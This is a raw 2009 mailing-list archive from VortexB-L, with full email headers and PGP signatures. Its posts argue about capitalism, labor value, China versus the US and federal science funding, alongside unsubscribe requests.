On Sat, May 23, 2009 at 1:36 AM= , grok <grok@resist.= ca> wrote:
-----BEGIN PGP SI= GNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
mounted the barricade and roared out:

> The trend in recent years has been to use native naming conventions. = =A0Thus,
> Peking --> Beijing, Bombay --> Mumbai, Oriental --> Asian, et= c.

Native..? OooKay...

Ya: that's as it should be: get rid of the imperialist-imposed conquero= r's names,
etc. However, I'm no fan of insular nationalism either. That also plays= into divide &
conquer taktix.


- -- grok.






- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkoXi3MACgkQXo3EtEYbt3FoPgCggo5JqddyuC0fmdy3+4YBmGWP
tkwAn2KcoGCaqneEoa9Dij4DA4rYNezf
=3DiVFh
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--001636c5b0eefa8b40046a8de1ad-- From vortexb-l-request@eskimo.com Fri May 22 23:05:07 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4N653ZF002046; Fri, 22 May 2009 23:05:03 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4N652Fd002039; Fri, 22 May 2009 23:05:02 -0700 Resent-Date: Fri, 22 May 2009 23:05:02 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 22 May 2009 23:04:53 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:China vs. US Message-ID: <20090523060453.GA30684@shell.resist.ca> Reply-To: grok@resist.ca References: <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> <4F356207F3624B3BA3DA567EB1C9B68F@REVTEC1> <20090522144827.GG18912@shell.resist.ca> <63ffa6020905221118j3b87b122pf3cc0ae964abf8d4@mail.gmail.com> <4A1716CB.BA9B4CA@centurytel.net> <63ffa6020905222009y4f4dc295j3ccf271ad8b0f97a@mail.gmail.com> <20090523052600.GH15700@shell.resist.ca> <63ffa6020905222242p5d4c4441hd889a381008bd4f@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905222242p5d4c4441hd889a381008bd4f@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: MILSATCOM, Su-30 Flanker, CCC, Rote Fahne, coltan User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4076 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 318 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > Utility. And this is... an answer..? It PROVES something, yes..? - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoXkgUACgkQXo3EtEYbt3ES9gCfXaA6IOJxXI/+COTingzbnQti s9wAnihDKs1Lktdkf8ZLBFi2XoykDoSF =amuL -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Fri May 22 23:13:39 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4N6DbMA009285; Fri, 22 May 2009 23:13:37 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4N6DbcH009278; Fri, 22 May 2009 23:13:37 -0700 Resent-Date: Fri, 22 May 2009 23:13:37 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 22 May 2009 23:13:31 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090523061331.GB30684@shell.resist.ca> Reply-To: grok@resist.ca References: <1e6d271e7b38.1e7b381e6d27@ncf.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <1e6d271e7b38.1e7b381e6d27@ncf.ca> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: MILSATCOM, Su-30 Flanker, CCC, Rote Fahne, coltan User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4077 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 319 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Harry Veeder mounted the barricade and roared out: > > > ----- Original Message ----- > From: Charles HOPE > Date: Friday, May 22, 2009 2:18 pm > Subject: Re: [VoB]:Re: This is VortexB-L... > > > I perceive the gap to be that grok recognizes value as objective, > > while Jeff > > Fink recognizes value to be subjective. In the former case, economic > > transactions are inherently zero-sum and exploitive, whereas in > > the latter > > case they are positive sum and mutually beneficial. > > Both parties to a transaction must enjoy equal bargaining power for it > to be mutually beneficial, but in general such situations are more > theoretical than real. > Harry No shit. And what workers bring to market -- to be shorn of, like sheep -- is their labor-power. And in the U.S., since the capitalists have been chiseling workers mercilessly for decades now, to live the "middle-class" lifestyle so demanded because of saturation media bombing, these deluded U.S. workers have been conned into hocking everything in sight and pawning their firstborn. And we see the results of that today. But let's still pretend capitalism worx just fine (and grok is a bad boy for pointing out otherwise). - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoXlAsACgkQXo3EtEYbt3H6vQCgjRf2Cbv440/dy69ca/xeVkTH FrIAoMzcme+C3XAeko2poRpmzyqkOHEp =1+gk -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Fri May 22 23:31:00 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4N6Usqi010052; Fri, 22 May 2009 23:30:58 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4N6UrQG010046; Fri, 22 May 2009 23:30:53 -0700 Resent-Date: Fri, 22 May 2009 23:30:53 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <4A179812.9030704@tao.org.uk> Date: Sat, 23 May 2009 07:30:42 +0100 From: Dr Josef Karthauser User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1b3pre) Gecko/20090223 Lightning/1.0pre Thunderbird/3.0b2 MIME-Version: 1.0 To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: Maia Mailguard 1.0.2a Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4078 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:unsubscribe Status: RO X-Status: X-Keywords: X-UID: 320 From vortexb-l-request@eskimo.com Sat May 23 07:12:59 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4NECvWi024633; Sat, 23 May 2009 07:12:57 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4NECn2P024602; Sat, 23 May 2009 07:12:49 -0700 Resent-Date: Sat, 23 May 2009 07:12:49 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: "Steven Vincent Johnson" To: Date: Sat, 23 May 2009 09:12:42 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <8EFCF5CB-3B14-4A6B-AA9D-5F01D4C03840@ix.netcom.com> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5579 Resent-Message-ID: <6zffGC.A.SAG.hRAGKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4079 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:unsubscribe Status: RO X-Status: X-Keywords: X-UID: 321
 
From vortexb-l-request@eskimo.com Sat May 23 07:26:47 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4NEQj7o029680; Sat, 23 May 2009 07:26:46 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4NEQedo029607; Sat, 23 May 2009 07:26:40 -0700 Resent-Date: Sat, 23 May 2009 07:26:40 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:date:message-id:subject :from:to:content-type:content-transfer-encoding; bh=Eyw0A2axYz2j3VSdUJi3g3nGsWEQ+/+XYPiLnc3J754=; b=AQWm2RRQVNYJBKyrEcuXLixIJdHW7xHOUqDqqxIL+xDWQKp5QyAUboJDlDYm99Qf0h bkkHd+S3V94ij2v2hanHlUUBWQj+/96j3tUOsVKRzuejoCWqJ9mRyJoKqPdLF+EE96BU f/kXTo7U59mIMq7ri2X4xb/Gl6k/5nh4VFaU4= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type :content-transfer-encoding; b=CvePTOnntnhkUSXEH0Jd/ieO9jnauCmnIMnHO83yG3aUn76egZxGeHeK+oPSgo0Ggu SO0uSyGi+J1jBbYHR6vk588t2KxOXWsOrrFKw3IPYq0kFNkLJ6lStwDTxr6n45WzH6xz iz8sqsPlcsppWzaEw9b2STEjweaGCL8/DqlAI= MIME-Version: 1.0 Date: Sat, 23 May 2009 09:26:35 -0500 Message-ID: From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4080 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:HOW TO UNSUBSCRIBE Status: RO X-Status: X-Keywords: X-UID: 322 Send a null message (that's a message with no body) to: vortexb-l-request@eskimo.com with the word unsubscribe in the subject line. Note: what makes this work is the word REQUEST. Terry From vortexb-l-request@eskimo.com Sat May 23 09:13:45 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4NGDdWM012464; Sat, 23 May 2009 09:13:43 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4NGDdpx012460; Sat, 23 May 2009 09:13:39 -0700 Resent-Date: Sat, 23 May 2009 09:13:39 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sat, 23 May 2009 09:13:35 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:HOW TO UNSUBSCRIBE Message-ID: <20090523161335.GC15169@shell.resist.ca> Reply-To: grok@resist.ca References: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: dort, RCI, L-3, hovercraft, SH-60F User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: <0F0JGD.A.mCD.zCCGKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4081 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 323 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Terry Blanton mounted the barricade and roared out: > Send a null message (that's a message with no body) to: > > vortexb-l-request@eskimo.com > > with the word > > unsubscribe > > in the subject line. > > Note: what makes this work is the word REQUEST. > > Terry hehehe. And these people are _scientists_..?? But then there's that apocryphal story about Einstein not being able to tie up his shoelaces... So I'm always proud of the fact I never learnt to tie my own laces right. ;P - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoYIK8ACgkQXo3EtEYbt3Hf2wCfSmmKtOUyjZVQoCerDZHMLL6z 7rkAoLVL4F5kj4r4r1/9mP1Z6OeyRXGh =GKzk -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sat May 23 09:30:54 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4NGUpYi026861; Sat, 23 May 2009 09:30:51 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4NGUgT0026815; Sat, 23 May 2009 09:30:42 -0700 Resent-Date: Sat, 23 May 2009 09:30:41 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sat, 23 May 2009 09:30:33 -0700 From: grok To: vortexb-l@eskimo.com Message-ID: <20090523163033.GE15169@shell.resist.ca> Reply-To: grok@resist.ca References: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: dort, RCI, L-3, hovercraft, SH-60F User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4082 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:Kiplinger comments on FEDERAL SPENDING Status: O X-Status: X-Keywords: X-UID: 324 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 See, this is REALLY why people like Stevey here and others posture against people like me -- and then quickly but ostentatiously move on: the bottom line for most people on vortex-l AFAIC is that they want either corporate or government/military money to finance their little dreams... and build up their egos. And of course this means essentially their eagerly selling their souls to the Devil for 30 pieces of silver and a mess of pottage. Needless to say, I'm not taken in by the charade going on here to cover for this for one femtosecond. Me bad, eh? ;> - --grok. As the smoke cleared, OrionWorks mounted the barricade and roared out: > This would seem to be encouraging news from May 23 2009, The Kiplinger Letter: > > Excerpt: > > -------------------------------------------------------- > > FEDERAL SPENDING: > > Gaining prominence in Washington: Science research...even basic > science, which doesn't yield quick economic payoff. It's cheering news > for business, which struggled against President Bush distaste for a > large federal research role. > > Congress will approve spending billions more on basic and applied > sciences in 2010 and beyond. Later this year, lawmakers will dole out > about $135 billion in fiscal 2010 to more than two dozen federal > agencies, labs and other facilities working on everything from > antiviral drugs to batteries to water reclamation. That's 18% more > than this year and 27% more than Uncle Sam forked over in 2008. Plus > it doesn't include more than $1 billion allocated for science research > in 2010 in the stimulus package. > > Particularly promising areas worth noting: > > More funds for high risk, high return research at private > companies...usually small ones...on projects that might otherwise not > get done at all. Among them: Nanotechnology for improving energy > storage. Software for weather forecasting. Deep-sea-mineral detection. > Superlightweight ceramic and composite materials. > > Awards for medical innovations, such as alternative treatments for > cancer and other early stage biomedical work that lacks the data for > the big federal grants. > > And more cooperative energy research with university and private firms. > > -------------------------------------------------------- > > Perhaps MPI or Ultraconductors will be able to secure a tiny slice of the pie. > > Regards > Steven Vincent Johnson > www.OrionWorks.com > www.zazzle.com/orionworks > - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoYJKkACgkQXo3EtEYbt3E7WACeMuoFu8kcSyIyE46Guzf76ArE Wn4AnA7fWlrkIIm+uR8Z8Jv1Bqft2fnJ =wQlt -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sat May 23 09:46:20 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4NGkFgK005708; Sat, 23 May 2009 09:46:15 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4NGkFCd005698; Sat, 23 May 2009 09:46:15 -0700 Resent-Date: Sat, 23 May 2009 09:46:15 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sat, 23 May 2009 09:46:13 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: [Vo]:China vs US Message-ID: <20090523164613.GF15169@shell.resist.ca> Reply-To: grok@resist.ca References: <20090522002908.GA29458@shell.resist.ca> <20090522143822.GF18912@shell.resist.ca> <20090522175450.GC16769@shell.resist.ca> <63ffa6020905221111kc4ad4a3w2d9e05552f84b109@mail.gmail.com> <20090522185439.GI16769@shell.resist.ca> <63ffa6020905221209w184ab194gd8b5a9defa10812@mail.gmail.com> <20090522193801.GL16769@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: dort, RCI, L-3, hovercraft, SH-60F User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4083 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 325 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, John Fields mounted the barricade and roared out: > >Billions of people believe the first thing they're told. And that's a damned fact. > > --- > But irrelevant. Sez U. > >Same goes for religion, for that matter. And much else. > > --- > More irrelevance; you type just to hear yourself talk, don't you? Another ad hominem dodge. Boy, you people are shameless. But predictable. > >Your argument, however, > >implies *they know any better*. And that's just hypocrisy -- because they DON'T. > > --- > Straw man and PKB. This is completely loopy here, fella. This is actually a major point of my rebuttal of your nonsense. Of course, the terminal hypocrisy of the U.S. "middle-class" polity is fully evidently at work here... And it starts off with things like (purposefully) not even recognizing what's actually being discussed. > Hope's post was merely a statement of fact nicely rebuking your earlier > comment and contained no implications of knowing or not knowing better. OOoh! OOoh! I am SO rebuked! I hang my head in shame. > Even if it had, he would have had to believe one thing but write another > in order to be hypocritical and you would have had to have been a mind > reader to eke out the difference, and a mind reader you aint. I am an *expert* at sussing out hypocrisy, fella. Duznt make me too popular, however. ;P > Speaking of hypocrisy, on the one hand you condemn the manipulation of > fear and ignorance, and on the other you try to instill it and use it to > try to control the direction of the thread with your "BELIEVE me" and > "bye, bye, "America"" crap. Another damned non sequitur from you. Good thing I'm used to dealing with this kind of ideological garbage. Because it stinx to high Heaven, eh? (and no, I'm not claiming to be an expert rhetoritician, or professing belief in mysticism...) > A nasty piece of work you are, indeed. > > JF Awww... you're just SAYING that... ;P - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoYKFUACgkQXo3EtEYbt3FiCgCgrpkipj7l5r7Mc84Eg+6WBbjx BAIAn1IGgpiWDqqjiKScEM09zjdgYR0p =pGk5 -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sat May 23 10:36:27 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4NHaODT023498; Sat, 23 May 2009 10:36:24 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4NHaNOm023487; Sat, 23 May 2009 10:36:23 -0700 Resent-Date: Sat, 23 May 2009 10:36:23 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=8al0PkEUSEQ1gZ+e8HE9lABggOEWPOaZOm5JCYHoQzs=; b=LBoWc2APZIx5TPFUgD0I30YpDt5Jdth0RJfqpyCa0hMnlNQ60aEGtZ4KttY6FSgyNG VpSGFMDulhkm+Pby42eDpwsE5rah4Khjk41r6h+DQK3x3hHdGQsTfmkOeSyHi2+ZwgGL e7FmWXwCVF4EP94SXXLOMnDbbxcxW/e590W/Y= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=ijL/I24ZtYgdK1ICZu5wS5PC0Qn0MYMvQWt4umVSDX3vbRAi6OMgsfNaRDZ3C/Ymy9 oR1qHlkG7yGHMpHBog0EFOiubiO4HOw7B/kstaoxWNma/xloZlam9z51pZ59kC55SCPl GvwFSXL/k/Xvkc9sTBykYbmev5GRynKxCk/cc= MIME-Version: 1.0 In-Reply-To: <20090523061331.GB30684@shell.resist.ca> References: <1e6d271e7b38.1e7b381e6d27@ncf.ca> <20090523061331.GB30684@shell.resist.ca> From: Charles HOPE Date: Sat, 23 May 2009 13:36:02 -0400 Message-ID: <63ffa6020905231036g2785a8b7wb738831b5dc1fbd6@mail.gmail.com> Subject: Re: [VoB]:Re: This is VortexB-L... To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=001636c5a717c67393046a97d09d Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4084 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 326 --001636c5a717c67393046a97d09d Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Well, if the point of Capitalism is to enslave and bleed the working class, then it's working just fine, innit? But seriously, a voluntary transaction enriches both parties, even if there is a disparity in wealth. On Sat, May 23, 2009 at 2:13 AM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Harry Veeder > mounted the barricade and roared out: > > > > > > > ----- Original Message ----- > > From: Charles HOPE > > Date: Friday, May 22, 2009 2:18 pm > > Subject: Re: [VoB]:Re: This is VortexB-L... > > > > > I perceive the gap to be that grok recognizes value as objective, > > > while Jeff > > > Fink recognizes value to be subjective. In the former case, economic > > > transactions are inherently zero-sum and exploitive, whereas in > > > the latter > > > case they are positive sum and mutually beneficial. > > > > Both parties to a transaction must enjoy equal bargaining power for it > > to be mutually beneficial, but in general such situations are more > > theoretical than real. > > Harry > > No shit. And what workers bring to market -- to be shorn of, like sheep -= - > is their > labor-power. And in the U.S., since the capitalists have been chiseling > workers > mercilessly for decades now, to live the "middle-class" lifestyle so > demanded because > of saturation media bombing, these deluded U.S. workers have been conned > into hocking > everything in sight and pawning their firstborn. > > And we see the results of that today. But let's still pretend capitalism > worx just > fine (and grok is a bad boy for pointing out otherwise). > > > - -- grok. > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkoXlAsACgkQXo3EtEYbt3H6vQCgjRf2Cbv440/dy69ca/xeVkTH > FrIAoMzcme+C3XAeko2poRpmzyqkOHEp > =3D1+gk > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --001636c5a717c67393046a97d09d Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Well, if the point of Capitalism is to enslave and bleed the working class,= then it's working just fine, innit?

But seriously, a voluntary = transaction enriches both parties, even if there is a disparity in wealth.<= br>

On Sat, May 23, 2009 at 2:13 AM, grok <grok@resist.ca>= ; wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Harry Veeder <hveeder@ncf.ca>
mounted the barricade and roared out:

>
>
> ----- Original Message ----- > From: Charles HOPE <lookslikeiwasright@gmail.com>
> Date: Friday, May 22, 2009 2:18 pm
> Subject: Re: [VoB]:Re: This is VortexB-L...
>
> > I perceive the gap to be that grok recognizes value as objective,=
> > while Jeff
> > Fink recognizes value to be subjective. =A0In the former case, ec= onomic
> > transactions are inherently zero-sum and exploitive, whereas in > > the latter
> > case they are positive sum and mutually beneficial.
>
> Both parties to a transaction must enjoy equal bargaining power for it=
> to be mutually beneficial, but in general such situations are more
> theoretical than real.
> Harry

No shit. And what workers bring to market -- to be shorn of, li= ke sheep -- is their
labor-power. And in the U.S., since the capitalists have been chiseling wor= kers
mercilessly for decades now, to live the "middle-class" lifestyle= so demanded because
of saturation media bombing, these deluded U.S. workers have been conned in= to hocking
everything in sight and pawning their firstborn.

And we see the results of that today. But let's still pretend capitalis= m worx just
fine (and grok is a bad boy for pointing out otherwise).


- -- grok.





- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkoXlAsACgkQXo3EtEYbt3H6vQCgjRf2Cbv440/dy69ca/xeVkTH
FrIAoMzcme+C3XAeko2poRpmzyqkOHEp
=3D1+gk
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
